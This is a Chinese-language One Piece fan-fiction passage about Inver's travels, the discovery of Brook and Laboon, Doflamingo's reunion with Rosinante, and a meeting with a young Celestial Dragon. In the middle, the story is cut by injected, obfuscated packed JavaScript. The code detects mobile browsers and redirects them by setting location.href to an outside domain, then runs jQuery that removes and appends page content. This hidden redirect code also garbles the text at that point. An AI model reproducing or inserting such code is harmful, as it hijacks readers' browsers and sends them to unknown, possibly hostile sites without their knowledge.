茵弗不知道露玖都和汤姆他们怎么商量的,只是看她忙忙碌碌地到处跑,后来和城里的几家造船公司一起开会。史黛拉跟在她身边,两个金发姐妹都扎着头发很干练的样子,很帅。茵弗带小孩玩,省得她俩还要费心,忙得脚不沾地的扶桑花只是在他说这里海啸过后独特的海盐很好时亲亲他的脸,然后派出了波比上的所有人手,加上汤姆工作室,能收集多少收集多少。 所以他一个人蹲在波比的花园里,教一群孩子们怎么用肥皂水吹泡泡,顺便看着小路飞,不,这不能喝下去。已经在发出音节的宝宝大声抗议,直到茵弗把给婴幼儿吃的奶酪棒塞到他嘴里。 基德已经在琢磨怎么做一把自动吹泡泡的枪了,基拉发发发地被他讲的各种“帅气泡泡枪”逗得直笑。艾斯和萨奇在比赛谁吹得泡泡更大,萨博举着个尺子小心翼翼地测量——也不怕直接戳破冠军选手。 总之带一堆孩子的经验就是...让他们自己玩起来,然后跟着参与就好了。正好他也喜欢玩泡泡。 茵弗在路飞试图咬上他吹的另一个肥皂泡前又往他嘴里塞上奶瓶,看着里面温热的奶吨吨吨地减少。 罗宾最近兴致不高,带他们玩点什么好像都心不在焉的,还没到青春期的年纪吧?艾斯巴古他们大概不会跟她讲什么奇怪的话?他对坐在自己身旁织围巾看书的小博士说:“你最近心情不好吗?还是累了?” 黑发小女孩摇摇头,“不累的,就是...”,她犹豫了一下,“我不确定,但是好像弗兰姆说的那个总是盯着要审判汤姆先生的家伙,和当时在奥哈拉...名字很像?” 斯潘达...什么的。勾起她不好的回忆了。 茵弗安慰地腾出一只手拍拍她的小肩膀,微微皱起眉头。 虽然因为给海贼王造船就给造船师定罪这一点本身就很白痴,但是如果世界政府那群家伙亲自出动CP成员的话,感觉就是另一个味道了。 ...审判奥哈拉是想要遮盖历史,借着海贼王的名号审判汤姆又是因为什么? “谢谢你告诉我,小知更鸟,你担心的话,我会去再询问一下的。” 这么想想,艾斯巴古对罗宾和古代兵器的关注也确实有点过于执着了。明明政府对罗宾的定罪只是拥有毁灭世界的力量这类,炸了避难船,读禁忌文字...好像也没有说什么古代兵器? 秘密就像...糖衣。 汤姆没有对他的询问表示出他一贯的大笑,或者夸张的惊讶。这回答就足够了。 “先生,您不必告诉我,不要这么纠结。”茵弗在工作室内凝重的气氛里抛玩着他的金币,他只需要知道世界政府最终的目的就好,确实汤姆知道什么。那么...“审判日,我会来的,请告诉我具体的日期吧。” 古代兵器....“足以毁灭世界的,【古代】兵器?” 也就是说之前在【古代】被使用时差点毁灭世界咯?说到古代只能是八百年前了吧,还有空白的一百年。古代...能有那么强大的兵器?技术去哪了? 如果【古代】是连同空白的一百年,被使用过武器的战争抹去...那么世界政府胜利者的话语权倒也说得通。而秘密就像糖衣,努力遮盖住的不是什么对他们有利的东西。可是既然为胜者,为何要遮掩自己的胜利? 茵弗死死盯着正在准备出航的雷利,鼻子上被弹了一下。 “想什么呢又?泰格说会在香波地和我们汇合,在这儿已经呆得够久了。” “...就一定要人去拉夫德鲁?” 雷利仔细地看了他一会:“你想知道吗?” 茵弗捂住耳朵皱眉,啧了一声:“算了。” 去他的吧,罗杰、命运、历史、兵器——还不如去看看他的海盐,萨奇喜欢的很呢。 他一个小医生跟那些有什么关系。 “小姨心情不好吗?” 雷利低头看拉住他裤脚的艾斯,正担心地看着茵弗离开的方向——这孩子真的很细腻,这一点上倒是更像他妈妈。 “那我爸爸呢?” 雷利把他推向厨房,见了孩子们那小子心情就能好点了。他叹了口气:“你爸爸是个笨蛋。” 水之诸神带来的海盐确实味道不错,一年才能收割一次的特性大概又能让他赚不少钱。 茵弗慢慢喝着专门做的风味汤,品味其中的独特。不过艾斯巴古居然用这么好吃的海盐形容他,奇妙的荣幸感,不对,是用海啸形容的来着? “多吃点饭,小茵弗。” “我在吃呢,露玖。” “你在喝汤。” 雷利摇摇头,“能喝汤就先喝汤吧。”他和担心的露玖对视一眼,无奈地比了个手势。他们逐渐能多让他吃点东西了,这很好,慢慢来吧。 茵弗放下碗,将盘子里没动过的面包涂上黄油放到旁边萨博的盘子里,让他多吃一点后离开饭厅去工作了。 雷利给自己倒了杯酒,对库洛卡斯说:“你就不能给他弄点药吗?” 花形头发的男人接过酒瓶也给自己倒酒,哼声道:“没什么用,副作用让他不舒服。问题不在这儿。” 饭厅里没有往日那么热闹,大人们的严肃只是一方面,另一方面是往日咋咋呼呼的小炮仗不在。 沃尔夫带着从杰尔玛带来的科学家们到七水之都后,茵弗看着和弗兰姆依依不舍的基德,做下了让他留下的决定。正好史黛拉也要暂时留在这边帮忙处理后续的事情,暂住在汤姆工作室。基德留下,基拉就也跟着留下了。汤姆他们非常欢迎,艾斯巴古在听到他的委托后很认真地保证会照顾好他们。他也拜托他们和沃尔夫一起教孩子们想要学的机械知识。 毕竟基德不是读书派,能跟着专业人士一边做喜欢的事情,一边学习效率也会更高。 红发小子在得知他可以在这边和弗兰姆玩,学习造超级帅的海列车和战舰,然后想回到波比也可以随时打电话虫之后很淡的小眉毛都飞起来了,快乐地和横杠在沙发上一蹦一跳。 “锻炼也不要落下哦,艾斯他们继续跟雷利先生学习,我也拜托了泰格先生带人手回来时给你们带一位老师。” “我会监督基德的,茵弗哥。” “好孩子,不用太累,好吗?一边玩一边学就好了,如果你有更想做的事情就联系我,我来接你,不用一直陪基德。” 基拉摇摇他那头像狮子毛一样的金发,露出浅浅的微笑:“我没有勉强,谢谢你,关于所有的。” 茵弗揉了一把他的脑袋:“有你在我最放心啦,嗯...也顺便监督基德不要学弗兰姆先生的时尚风格就好。” 虽然看习惯了觉得那个蓝毛小子花衬衫配泳裤也没什么奇怪的,但是果然这种东西换个人身上就太违和了。自己完全不是露出系的,如果养的孩子里面突然出现一个不爱穿裤子的真的是会有一丝淡淡的绝望。 所以给他们收拾行李的时候,换洗衣服中裤子的比重远超上衣。 其实艾斯巴古的风格也不赖,简单的背心露出结实的手臂肌肉和纹身,修身的裤子还有带一点跟的鞋,他们多学学他也行的。 波比上的时尚大师拿起茵弗脸上的书,问他在想什么。 “在想如果我下次见到基德他们,他们只穿着泳裤跟我说这是男人的浪漫,我是把弗兰姆先生打一顿还是跳海。” 罗西南迪笑笑,在他身旁坐下,随手翻着手里的书。 “我建议打一顿,我们接下来去香波地?我以为要直接去奥比塔拉。毕竟永久指针战国先生已经给我寄来了。” 茵弗坐直身体,不过下一秒就往罗西南迪身上躺倒,随手拿过茶几上的文件翻阅。 “嗯,联系了您哥哥来接您,见面地点还是选香波地比较好,而且我得去游乐园...见个人。顺便带孩子们玩一玩。” 罗西南迪嗯了一声,一只温暖的大手轻轻抚着他的头发,哄小孩的按摩手法一看就是模仿雷利,不愧是训练出来的间谍吗,真的是无时无刻都在无声地收集信息。 不过还好他没问自己要去见什么人,说是去见天龙人也不知道会不会让这对兄弟ptsd。茵弗闻着罗西南迪身上淡淡的古龙水味道,偏过头嗅了嗅。没有多弗朗明哥的那么花哨,虽然他穿得很花,但是陈厚温和的味道很适合他。虽然自己没见过几个正经用古龙水的人就是了。 “您身上很好闻,渡鸦先生。” “谢谢你,医生。” 两个人的闲谈被打断,马尔科开门进来,说出事了,需要茵弗到外面去。 “怎么了?” “拉布yoi。” 图书室的隔音很好,但是走到走廊里茵弗就已经能隐约听见拉布焦急的叫声。加快脚步赶到外面,惊讶地发现身边全都是浓雾,隐约借着提灯的光跑到库洛卡斯身边,对方正呼唤拉布冷静下来,已经准备跳到水里去了。 “怎么回事,先生,拉布怎么了?怎么这么多雾?” 库洛卡斯骂了一声:“魔鬼三角地带,不过波比能穿过去所以没事,拉布不知道怎么了,突然开始急躁。” 茵弗:“是不喜欢这里吗?” 泰格回鱼人岛找人手去七水之都了,这边海域又很危险,能勉强下水的只有雷利,还好马尔科能飞。 拉布叫唤一声就停下,静止不动之后又开始焦急地喊叫,好像在寻找什么回应,又因为库洛卡斯的呼唤心急地甩尾。 茵弗让罗西南迪去操纵室告知让波比停下,然后示意众人都安静。又一声鲸鸣后,他屏住呼吸,努力在短暂的寂静里去听。不是附近有上浮的鲸群的话,会是什么? 拉布又开始波哦哦哦地叫,甚至有想离开的样子。茵弗拉住库洛卡斯,对着不远处的鲸鱼大喊:“拉布先生!等一下!我和您一起去!” 库洛卡斯:“去什么!拉布要去哪?” 拉布明显心急如焚,不愿意等他,茵弗没时间回答,只能拜托马尔科带着他飞过去,留下一句“好像有音乐。” 第一次坐不死鸟不能好好体会一下实在是太遗憾,不过距离拉布前进的方向越来越近,茵弗也确定自己听到的就是小提琴的声音。《宾克斯的美酒》,难怪拉布这么着急,预想中同样偶然进入魔鬼三角地带的海贼团伙没有出现,而是一艘极其破烂的大帆船。 马尔科:“这是什么yoi...不会是鬼吧。” “波哦哦哦!” 茵弗打量着已经破烂的船帆,老旧的样式...船身上大量的炮口...再结合拉布的焦急...不可能吧...真的找到了? “...伦巴海贼团?” “波哦哦哦哦哦!” 一道陌生的男中音在音乐声戛然而止后颤抖着传来,“...拉布?不是幻觉...刚刚听到的真的是拉布的声音?”茵弗拍拍马尔科,示意他飞过去。 是骷髅!! 会流眼泪的骷髅! 热爱音乐的海贼团伦巴海贼团在伟大航路被歼灭了。因黄泉果实的能力,在约基感染疾病后担任船长的布鲁克灵魂走出黄泉。不过准备回身体时,他的灵魂不幸在魔幻三角地带迷路一年,找到的身体已变成骷髅。因为这里终日弥漫的浓雾,还有已经破损的船舵,他不得不在这片海域独自游荡几十年,精神错乱也要咽下孤独,为了能有朝一日遵守和拉布的约定而坚持活着。 “我的小提琴一直都带着旧的味道呢哟嚯嚯,没想到拉布居然还能认出来啊!看看你,你都长这么大了!” 茵弗和马尔科坐在这艘幽灵船的船舷上,耐心地等着痛哭的一鲸一人冷静下来。 会流泪的爆炸头骷髅。 “喂,眼睛发光了yoi。” “这是感动的光。” “什么啊,就是和艾斯他们看到新玩具一样的光吧。” 确实,给伦巴海贼团的逝者们正式海葬了之后,回到波比见到布鲁克的孩子们都张大嘴巴,眼神里露出和茵弗之前一模一样的闪亮光线。 “哟嚯嚯嚯库洛卡斯兄弟也在!还有这么多可爱的小孩子,今天真是最幸福的一天哟嚯嚯!”布鲁克拿出小提琴,拉了一首俏皮的曲子,“伦巴海贼团可是可以用音乐让孩子们露出笑容的啊哟嚯嚯嚯!” 虽然很想让他和孩子们继续玩,但是他一个骨头架子身边围绕着腐烂和尸体游荡那么多年,茵弗对他的干净程度表示深深的怀疑。 赶去洗澡,用药水泡一泡,然后借罗西南迪的衣服给他改一身换洗衣服。 在布鲁克时隔多年终于能再次大快朵颐地享受美食的时候,茵弗仍然眼睛一眨不眨地盯着他。 能吃东西,能消化的骷髅。 东西都吃到哪里去了?骨头的手感摸起来也太舒服了,洗干净之后的温润感。而且听起来和正常人超级不一样的,因为没有肌肉组织和器官。 太有趣了...嗯? 茵弗把这个表面优雅的混蛋一脚踢飞,有些意外地发现居然没有血液也可以流鼻血的。他抓着他的爆炸头把他拎起来观察,随便说道:“您下次在在女性面前说什么看一下内衣的,就去我工作室里的罐子里泡泡吧。” 布鲁克哟嚯嚯嚯地竖起一个大拇指表示了解,礼貌地感谢茵弗的恩情。 “不客气,骨头先生。”茵弗从口袋里翻出手帕擦掉他脸砸在墙上后流出的鼻血后叠好准备拿回去研究一下到底是血还是异变的骨髓,“您别的地方也会流血吗?还是只有鼻子?”他手指温柔地摸过布鲁克的额头,缓缓下移,“我的手伸到您的眼眶里会痛吗?什么感觉?” “好了好了差不多就行了。”雷利无语地把他从惊恐的布鲁克身边拉开,告诉他这小家伙是个实验派的医生,看到他比较好奇而已。 布鲁克:“原来如此,我确实也经常对自己现在的身体也感到不可思议呢哟嚯嚯!” 他从墙边爬起来,礼貌地鞠躬。 “库洛卡斯兄弟说拉布在为了健康随着你们一起旅行,如果不介意的话,能否让我一起?如果有我力所能及的事情我也愿意尽全力!” 雷利:“啊,当然可以了,你不用——” 茵弗:“真的吗!请切一根指骨给我,不、两节就可以了!啊手要弹琴不方便趾骨也——” 布鲁克再度惊恐,雷利在茵弗玛利的头上捶了一拳,让他别发疯。 医生的事儿,能叫疯吗。真小气。 茵弗哼哼唧唧地揉着脑袋,妥协说那他就打工吧,正好波比上没有音乐家,孩子们也喜欢他,然后就钻到自己的工作室里去了。 布鲁克:“真是奇怪的年轻人啊。” 雷利对着一直看着这边的孩子们招招手,就像叫来一群等不及要玩耍的小狗。 “习惯就好。” “哟嚯嚯当然了,孩子们快看,30°!” - 找到布鲁克,库洛卡斯也算了却最大的一桩心事。看拉布快活的样子,他也相信茵弗玛利说它听起来很好是真的。 现在的日子还不错,不过按那小子的计划,估计之后他这老头子也要忙起来了,至少还有酒友。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14989992|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在第三次干掉试图抓捕拉布的海贼团之后,茵弗告诉他们带着波比和拉布先去附近的无人岛等,香波地现在太混乱。 孩子们在去游乐园玩了一圈之后也跟着走了,基德基拉不在,几个小家伙也偶尔有些孤独,特别是一起长大的艾斯,现在马尔科带着他们探索无人岛,也算补上身边空缺感的安慰。 一周过去茵弗那边还没回来,只是说要再等等。问雷利才知道那个海军小子要走了,还要顺便去见曾经被罗杰海贼团当过人质的小天龙人。 库洛卡斯噎了一口酒,咳嗽两声:“没问题吗?” 雷利:“没事。” 没事倒是...没事的。 虽然说是要见露娜茜茜雅一面,但是已经根据夏琪的情报蹲了一周多,等到多弗朗明哥都来了。 “喜欢吗,亲爱的火烈鸟先生,送您的惊喜。” 多弗朗明哥不呋呋了,嘴角紧绷地看着面前熟悉又陌生的青年、不、弟弟。 “罗西南迪?” “是我...多弗。” 啧,久别重逢不应该拥抱一下,哭一下什么的吗?两个人中间隔着几步距离干嘛啊?茵弗等了五分钟这俩人也没动静,不管他们自己先坐到敲竹杠的卡座里,然后在憋着笑给他送饮料过来的夏琪脸上吻了一下。 “加油哦,小茵弗。” “这话应该说给他们吧?” 好好好终于坐下了,倒是不要突然都选择往我旁边的空位坐,尴尬了吧?我起来我起来。 茵弗拿着手里的饮料喝了一口,特调冰茶。夏琪调酒的手艺是真的赞,难怪雷利那么喜欢。等面前的大高个兄弟面对面在卡座里坐下,茵弗请客给他们也买了两杯酒——多弗朗明哥红酒,罗西南迪杜松子酒,喜好他倒是记得的——然后拉了个椅子坐在桌边。 茵弗在桌子底下踢了多弗朗明哥一脚。收到信号的大火烈鸟终于舍得开口:“呋呋呋...你还活着啊,我的弟弟。” 哇——原来他一直以为罗西南迪死了吗?茵弗咬着嘴里的吸管吨吨吨。 “是...被好心人收养...” 又不说话了,两个人也学他一声不吭地喝酒。 “我只请这一杯。” “呋呋呋呋当然了,医生,下一杯我请。” “赚不少钱嘛,火烈鸟先生,记得分我点啊,我最近有用呢。” 茵弗美滋滋地告诉夏琪他下一杯要喝里面有椰奶的酒,杯子上不要插菠萝,他不吃。 回过头两个人都看着他,怪渗人的,你们聊你们的啊?真的是什么事都得他一个外人来。 又踢了罗西南迪一脚,软金毛了然打了个响指:“Silent.” 茵弗满意点头,拍拍多弗朗明哥,手被抓住了,没关系。 “您弟弟现在是海军中校呢,听说您的事特意来黑曼巴做卧底的。” “哦?” 罗西南迪差点没把酒全都灌倒肺里,呛咳着说不出来话。虽然是这样没错啦,茵弗也是知道的,他也说过茵弗知道相当于多弗知道的话...但是两个人这么多年没见,一下子就... 茵弗没管他:“捡他走的好心人是现在海军元帅,小米果先生过得很好。他也知道我家小知更鸟他们的秘密了。” 多弗朗明哥略过了海军元帅的话题,回复道:“呋呋呋,小米果是他的昵称?” 茵弗摇头:“他是【渡鸦】,您们都是大鸟呢。” 聪明的渡鸦,别让我失望啊。 罗西南迪视线从他嘴角的弧度上收回,看向自己的哥哥。 “海军本部中校罗西南迪,编号01746,代号小米果。我要在地下组织黑曼巴做''海军的''卧底,哥哥。” 多弗朗明哥大笑,看茵弗满意地捏罗西南迪的手指,海军的卧底?在海军的合作者的组织里做卧底?哦,海军不觉得黑曼巴是茵弗玛利的。 “所以,你给我找了条狗绳?医生?” 茵弗示意罗西南迪撤掉隔音壁,好接过夏琪送来的酒然后感谢,回复道:“别这么说,不过要是渡鸦先生跟我说您又搞什么小动作惹他不开心了,我就去揍您。” 多弗朗明哥:“呋呋呋我可是有在变强。” 茵弗:“我也是,前一阵跟了个好老师叫黑腕泽法的,您听说过吗?” 粉红大衣的男人又把视线放到仍在他手中的那只手上。仍然是微凉的,深色的,可以隐约找到——有两个牙印。 变强了啊,各种意义上来说。 “呋呋呋呋呋,那要是罗西惹我不开心了怎么办?”他意有所指地用指腹蹭过那小小伤痕,“你也揍他一顿?” 罗西?可爱捏。茵弗在多弗朗明哥看起来又要上嘴之前把手抽了出来,顺便狠狠捶了一拳他的胳膊,用霸气振开试图固定他的细线。 “那要看他怎么惹您不开心了,您弟弟没您抗揍,先生,软咩咩的您舍得吗?” 罗西南迪脸红红的,不知道是因为哥哥发现了茵弗玛利手上的秘密,还是因为被直白点明他和他们俩比起来太弱,总之眼神飘忽地左看右看。 “呋呋呋我会努力不让我们俩被你教训的,对吧,罗西?” “啊?啊、是。我也...” 茵弗看他俩终于开始放松下来,仰头喝尽自己杯中的鸡尾酒。又伸手去拿多弗朗明哥喝了一半的杯子。 “那您就带着他先回北海,或者西海,随便您,有事情再联络。让您手下那批烂人别欺负他,揍他们我可不会留手。” 多弗朗明哥没在意明明是茵弗玛利请他喝酒,怎么现在被他喝得快乐,任由他放下空掉的红酒杯之后又去拿罗西的。 “当然,谢谢你的礼物,医生。” 他看向自己长大的弟弟,用一贯不知道是认真还是玩笑的语气说: “我很高兴你当时过得好,罗西。” 这就、结束了?多弗没掐死自己?罗西南迪眨眨眼,“嗯,我、我这次会帮你的,哥哥。” 他带着不真实感看茵弗又喝掉他那半杯杜松子酒,不明白为什么他突然开始喝酒了。 茵弗皱眉揉着因为空腹喝酒变得火烧的胃。起身拉起椅背上的外套准备继续去游乐园蹲点。 “现在,真的请您弟弟喝一杯酒,火烈鸟先生,聊天叙旧,直接开始谈生意,聊聊怎么长得更高都行,我不管了。” “呋呋呋,你去哪?” “您猜?” “罗西,他要去哪?” “啊,游乐园吧大概。” “啧、讨厌的堂吉诃德。” 多弗朗明哥怪笑着看茵弗玛利脚步重重地出了门,自从站起来后眼神都没给他俩一个。 “他喝醉了?” 罗西南迪摇摇头:“就是一下子混着喝上头了吧,好几天没等到人,他急着回去看孩子们。” 多弗朗明哥笑笑,真的又请客给他们二人买了酒,即使夏琪收他的钱不负这家酒吧的名字。他舔了一下自己的后槽牙。 “他很有趣吧?” “医生吗?嗯。” 两个人随便聊了聊,避开了海军,避开了黑曼巴。杯酒下肚,多弗朗明哥做的第一件事是给罗西南迪弄了件黑色羽毛的大衣,然后干点黑/道该干的——比如带他去游乐园跟踪茵弗玛利。 “为什么穿这个?”罗西南迪有些生疏地把蓬松的大衣套在身上,思考着自己要搭什么样的衣服。 “呋呋呋呋,多长点''羽毛'',【渡鸦】先生 。” 61.修补的鎏金 游乐园这么多年设施上放的歌就没变过。多且杂,儿歌,浪漫的爱情曲,热烈的摇滚,全都混在一起。刚刚翻新过不久,五彩斑斓的颜色看起来无比鲜艳,彩色的过山车,摩天轮,彩色的棉花糖,洒满彩色糖霜的切片蛋糕。 孩子们的笑声,被鬼屋吓到的哭声,穿着玩偶服的工作人员表演的念词声和乱糟糟的歌声混在一起意外地和谐。 不和谐的就是远处猫着的,两个三四米高的一对兄弟。不愧是多弗朗明哥吗?跟踪这种事情都弄得跟孔雀开屏一样明晃晃地告诉你“对我在跟踪你”。倒是这么短时间内给罗西南迪弄个了跟他差不多的大衣也是厉害的。 是的,不和谐的只有他俩,甚至不包括他面前的天龙人。 露娜茜茜雅也长大了,十几岁青春少女的样子。穿着粉色的裙子,白色的长靴,鹅黄的面纱。头发上戴着好几个不同的发卡,星星、爱心、四叶草,天真烂漫的感觉——没有糖果。 因为她想让茵弗送她当年的那个糖果发卡。 他不记得她,每天都只是在游乐园商饮区最显眼的地方坐着,试图看看来游乐园的天龙人是什么样。要不是身边跟着的西装男和头上的头罩暴露她的身份,就挺平常的。 他没主动去跟她搭话,只是在她认出他时走入某一间店铺等待,然后在露娜茜茜雅一个人进来时借用后门绕到角落里谈话。 “我很抱歉,露娜茜茜雅宫,当年我遭遇过几次海难,很多东西都遗失了,包括那个发卡,所以即使我想,我也没法给您。不过我再次对您帮助了泰格先生表示感谢。” 露娜茜茜雅比他紧张多了,绕着戴着白手套的手指,像个跟家长汇报的小女孩一样见到茵弗就一个个说她做了什么什么,学了什么什么的。她说她尝试了很多东西,茵弗能看出来她不再是曾经那团她父亲用模具倒出来的泥巴。 金发的少女没有在意他说发卡丢失这件事,反而询问到:“但是,你想给我对吗?这一次?我能戴?” 茵弗不太明白,有过上一次吗?好像那天是他把发卡忘记在桌子上,最后是去了游乐园的香克斯拿回来的。 “嗯,什么叫''能戴''?” 露娜茜茜雅:“我父亲...杀了那个女孩...我不能戴...” 哦,原来如此。茵弗从上到下扫过她,回答道:“您父亲带来的灾难不止那个女孩,小姐,如果您纠结这一点,那么所有您在圣地的一切,天上金的享乐,归根结底您都''不能''使用。” 露娜茜茜雅本就白皙的脸更加苍白。确实如此,即使被圣地的大家当成异类,她也努力尝试去学习与尝试有什么用呢?她仍然是在用着那些沾着血的食物与金钱。 “我、如果我一个奴隶都没有、如果我离开圣地...父亲会杀了我的。” 她早就意识到了,她和那些死掉的孩子,没有什么不同。她是“天龙人”,她的父亲会宠爱她,原谅她的错误。一旦她变成“人”,在父亲眼里她就什么都不是了,即使她是萨米奥丝家的独女。 曾经就有过天龙人下界被报复的事情,已经在圣地被传成笑谈与污点。她就算能在下界藏好自己的身份,一旦被包括她父亲在内的天龙人得知她也有这种“离经叛道”的想法,最先判决她的反而会是她所谓的“同族”。 茵弗叹了口气:“我知道您不骑奴隶,也在努力对自己的奴隶们好,这一点已经很难得了。不过我的认可真的那么重要吗?” 露娜茜茜雅点头。必须是这个第一个给她“尝试”这一选择的人给她一个答案,她做得真的是对的吗? 茵弗勾勾嘴角,白胡子说,这片海没有什么是“必须”的,不过她这一点霸道和固执,倒是很天龙人了。 “您想要个朋友,是吗?” 卡在天龙人与人之间,再怎么和自己的奴隶们平等相处,他们也是奴隶,心底上很难和她交心。因为想要看看不一样的世界,把自己剥离族群的孤独啊。 虽然她带着玻璃罩,但是茵弗还是从口袋里掏出纸巾递给她。她捏着它,指节发白。 “我不会永远都留在香波地。” “我、呜、我知道,你是游医...” 茵弗视线再次扫过不远处露出半个身子的两坨羽毛,告诉她稍等。然后向自己的跟踪者们走过去。多弗朗明哥明显心情不好,嘴角要咧上天了,额角青筋暴起。 “呋呋呋呋...和小丫头聊完了,医生?” “别闹,火烈鸟先生,给我一对远程专线电话虫,要没用过的。” “凭什么?” “因为她选择的方式和您父亲当时不一样。她没有脱离''天龙人'',所以她能继续活着。” “呋呋呋...她要是真有时间跟你装可怜,不如想办法干掉她父亲。” 罗西南迪:“多弗。” 茵弗视线看过罗西南迪紧紧抓住多弗朗明哥肩膀的手,黑羽毛很适合他。 “电话虫,火烈鸟先生,我可以答应您一件事。” 多弗朗明哥从西装口袋里拿出一对小型电话虫,做了几个操作洗掉之前的连线后交给他。 “陪我呆几天吧,医生。” “行。” 白衣青年摆摆手,又走回露娜茜茜雅身边,将其中一只电话虫交给她,“您很聪明,不要暴露我,记得用白电话虫。”然后他从外套内袋上取下一个普通的,夹碎发用的波浪发卡,同样递给用微微颤抖的手捧着小电话虫的少女,轻轻拍了两下她的头罩。 “您做得还不错。” 他们不能经常联络,偶尔的一通短暂的电话虫最多了。茵弗玛利不能被知道是“天龙人”的朋友。他承接不住“试图拉拢天龙人”“玷污高贵的神之后裔”的后果。 他将露娜茜茜雅推向他们来的方向: “快回去吧,买一些东西作为借口告诉您那群保镖们。哦,还有,我的一个火烈鸟朋友说您可以想办法干掉您父亲。您不用听他的,不过我不太懂您们天龙人那套,如果您受到伤害,我希望您能活下来。” “我希望她死掉。” 露娜茜茜雅一走,粉乎乎的一大团就跟背后灵一样站在他背后嘀咕。 茵弗没搭理他,换个方向绕出游乐园。 “管管您哥哥,渡鸦先生。” “别那么说,多弗。” “呋呋。” 本来想回夏琪的酒吧的,他觉得他需要更多的酒精才能应付一个处在发疯边缘的多弗朗明哥。不过领子一紧他就被拎起来了,然后坐到一个味道花哨的怀里。 腹部一坠,眨眨眼睛,他与白云面对面。 “别、您太突然了,我容易恶心。您弟弟怎么办。” 多弗朗明哥没理他,但是听他说不舒服勾着云飞得稳了点,然后把他送到自己那艘一样粉的船上后又一边打电话虫一边回去接罗西南迪。 维尔高正在指挥手下打扫甲板,听到背后的声响少主一词刚出口,他家少主就又走了,而他与那个...有一阵子没见的大人面对面。 “游医大人、” “维尔高先生。” 茵弗本来喝完酒就不太舒服,被火烈鸟一搞更恶心了。这船他也没少坐,熟练地绕过僵硬的维尔高,给贱兮兮凑上来流鼻涕的托雷波尔一拳,然后摸到多弗朗明哥的房间趴在他的大床上,等自己翻涌的胃冷静下来。 快到晚餐时间了,也许他可以让多弗朗明哥给他弄点粥,可不想跟着他吃他那大龙虾了。 身边有不少软乎乎的被子和毯子,他随便拉过几个堆在附近,也不想动弹,踢掉鞋往里面缩了缩。 总之多弗朗明哥带着罗西南迪回来没见到人。 “这是我亲爱的弟弟罗西南迪,我要你们像尊敬我一样尊敬他。” 无视手下们的各种七嘴八舌,环视一圈看到托雷波尔脸上的红印子和撞裂的船舷就大概知道他跑哪去了。罗西南迪还是和小时候一样笨手笨脚的,这一点莫名让他愉悦。 带着从地上爬起来的弟弟走到自己的房间,推开门就看到上半身窝在被子团里的医生,头都没抬地说他晚上要喝粥,如果要开欢迎罗西南迪的宴会他不去。 “呋呋呋呋知道了。” 多弗朗明哥走到床边,好笑地戳戳露出来的一只耳朵。 “很难受,医生?” 罗西南迪站在门口不知道是不是该进来。 茵弗玛利和多弗的相处模式...跟他想象的不太一样,毕竟他们两个现在也是朋友,二人好像自从科尔波山就找回了在马林福德形成的舒适感。但是他和多弗除了朋友之间的熟稔外,还有着明显的暴力,互相压制,一种奇怪的亲昵。说是暧昧也不像,更像那种在冰天雪地只有一簇火苗,两个人在争夺后挤在一起取暖而形成的某种习惯。 “先进来吧罗西,我让迪亚曼蒂给你收拾一间房,晚点再搬进去。” 他回过神,点点头走到靠墙的沙发边坐下,看多弗随意地平躺在仍然背对他蜷缩着的茵弗身旁。 然后...他们开始聊生意。 黑曼巴,恶魔果实,乌米特,七水之都,伊甸鲸计划。海军、海贼、世界政府、地下势力、革命军。 话题跳跃,内容信息量大而机密。而他们甚至姿势都没变过,语气随意,就好像在聊晚上该吃什么粥——哦这个也聊了——而不是什么应该放在会议里去谈的东西。 “罗西就跟着我,毕竟是我的弟弟。” 茵弗闷闷地笑了,慢悠悠地说: “罗、西(Rosi)” 罗西南迪下意识地把手盖在脸上,听茵弗玛利用同样的语气,把短短的两个音节如糖果般在舌尖转了一圈品味着。 “多、弗(Doffy)” 多弗朗明哥坐了起来,呋呋呋地笑,让他再叫一次。茵弗玛利摇摇头,翻了个身对着罗西南迪招手,在他走到床边时伸出手拉他坐下。 “他叫您【多弗】而不是【多弗朗明哥】。” 他又拉过多弗朗明哥的一只手:“您叫他【罗西】而不是【罗西南迪】。” 比他们两个的手都小的手牵着他们,没有将他们拉到一起。 “我喜欢这件事。” 多弗朗明哥挑挑眉毛:“托雷波尔也叫我多弗。” 茵弗仍然闭着眼睛,拉着他们二人的手放到脸上用鼻尖贴了贴——有点凉凉的。 “让他们改,先生。他们应该都叫您【少主】不是吗?” 戴墨镜的男人紧绷了一下,罗西南迪和他的手仍然没有接触,在被茵弗松开后更是如此,但是他隔着空气都能感觉到那种僵硬。 在罗西南迪犹豫如果他俩打起来他是冒着生命危险拉开他们,早早地殉职,还是躲到一边时,多弗朗明哥发出一阵大笑,然后狠狠捏住茵弗玛利两侧的脸颊,好像要让他闭嘴,但是又留下说话的余地。罗西南迪能看到已经开始泛红的印。 “那你叫我什么?” “火烈鸟?您的名字?” “还有呢。” “额...小烈?有点恶心了。” “你叫罗西什么?” “渡鸦?他的名字?” “还有呢?” “...软咩咩?” 罗西南迪看着茵弗玛利攥住多弗朗明哥捏着他的那只手的手腕,多弗的额角因为疼痛而泛起青筋,但他们两个谁也没松手。 最后他们没打起来。但是托雷波尔改口了;晚餐只有一个人吃了鱼粥;多弗在晚宴时宣布给他的代号为柯拉松,本来给维尔高的称号因此被剥夺。 这也是某种昵称吗?他小心地问对面的人。 而那个喝完碗里的粥就准备离开宴会的青年听到后擦擦嘴角笑了一声。然后用同样慢悠悠的语气说:“当然了,【甜心/红心】(corazon)” 没人在乎他离席的失礼,餐厅的门被关上后,罗西南迪沉默地扫过桌子上茵弗所形容的“奇形怪状的烂家伙”们,看向主位上的、他的哥哥。 - “茵弗玛利要陪多弗朗明哥呆几天”,这一决定现在想来让他感到些许庆幸。他在见到多弗之前很多的猜想好像都落空了,这让他感到手脚换位一般别扭,不知道该如何和哥哥相处。明明做过那么多间谍训练,随机应变应该是拿手好戏。可是茵弗搅进来的事情好像永远都让他要推翻以前的认知重新再来,就像他曾经以为自己是了解多弗的一样。 